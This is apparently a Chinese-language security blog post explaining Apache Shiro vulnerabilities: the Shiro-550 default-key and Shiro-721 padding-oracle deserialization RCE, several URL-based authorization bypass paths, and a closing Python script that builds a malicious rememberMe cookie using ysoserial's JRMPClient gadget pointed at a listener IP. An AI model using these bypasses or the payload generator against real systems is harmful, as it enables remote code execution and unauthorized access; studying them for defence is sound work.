shiro漏洞

head

hongzh0

发布于:2025年02月03日

更新于:2025年02月04日


shiro-550

RCE流程

提取cookie->Base64解码->AES解密->反序列化

漏洞点就在于这个AES的key,如果用的是默认key或者是弱密码,可以直接利用或者是爆破出来

如何判断爆破成功没有呢,看返回包的cookie,如果出现Remember-Me=Delete-Me,就是爆破失败,反之成功

但其实Remember-Me这玩意不一定非得叫Remember-Me,可以改的,在ShiroConfiguration.java文件里可以改动的

shiro-721

shiro721中,密钥的生成方式变为了动态生成,前后对比源码如下:

1
2
3
4
5
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(**DEFAULT_CIPHER_KEY_BYTES**);
}
1
2
3
4
5
6
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}

RCE流程

  • 输入正确账号密码登录,勾选Remember,并从cookie中拿到Remember-Me的值
  • 使用rememberMe字段进行Padding Oracle Attack
  • 获取intermediary,使用rememberMe字段进行Padding Oracle Attack。
  • 最后使用新的Cookie请求网站执行攻击

Padding Oracle Attack

这个攻击其实类似于sql盲注,这就要求服务器有咱能利用的Bool条件
也好办其实:

  • Padding正确,服务器正常响应
  • Padding错误,服务器返回Set-Cookie: rememberMe=deleteMe

shiro权限绕过1

shiro在路径控制时候,没有对传入的url编码进行decode,导致攻击者可以绕过过滤器,访问被过滤的路径

/hello/1 需登录

版本:Shiro ≤ 1.4.2

/hello/1/可绕过

版本:Shiro ≤ 1.5.1

/asdf/..;/hello/1可绕过

测试环境使用1.4.2版本

shiro权限绕过2

该漏洞是因为springboot和shiro处理不一致导致的认证绕过

org.apache.shiro.web.util.Webutils#getPathWithinApplication获取到的是/admin/;page,然后
将;page作为一整个字符串,匹配/admin/{name}路由,导致越权

shiro权限绕过3

这个是因为tokenizeToStringArray方法里德trimTokens参数默认为true,空格会经过trim处理被清除,再次返回getChain时候最后面的/被清除,导致/admin与/admin/*匹配失败导致权限绕过

/admin/%20

shiro权限绕过4

当用户输入/;/account时候,org/apache/shiro/web/util/WebUtils.java里的normalize方法会将;后面进行截取,截取之后后边方法再错误处理导致的权限绕过

长度绕过

JRMP、短利用链、块请求(请求走私不到行不行,哪天我试试

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
import sys
import uuid
import subprocess
import requests
from Crypto.Cipher import AES
def encode_rememberme(command):
 popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient',
command], stdout=subprocess.PIPE)
 BS = AES.block_size
 pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
 key = "输入shiroAES密钥"
 mode = AES.MODE_CBC
 iv = uuid.uuid4().bytes
 encryptor = AES.new(base64.b64decode(key), mode, iv)
 file_body = pad(popen.stdout.read())
 base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
 return base64_rememberMe_value
if __name__ == '__main__':
 payload = encode_rememberme('192.168.1.5:1234') #这里替换远程主机的ip和JRMP监听模块
监听的端口
 print("rememberMe={}".format(payload.decode()))

版权声明:本文由「hongzh0」原创,博客内容受知识共享协议(CC BY-NC-SA)保护,允许在署名的前提下进行非商业性使用,并以相同方式共享。本文永久链接地址:http://hongzh0.wiki/2025/02/03/shiro/

  1. 1. shiro-550
    1. 1.1. RCE流程
  2. 2. shiro-721
    1. 2.1. RCE流程
    2. 2.2. Padding Oracle Attack
  3. 3. shiro权限绕过1
  4. 4. shiro权限绕过2
  5. 5. shiro权限绕过3
  6. 6. shiro权限绕过4
  7. 7. 长度绕过
  8. 8. payload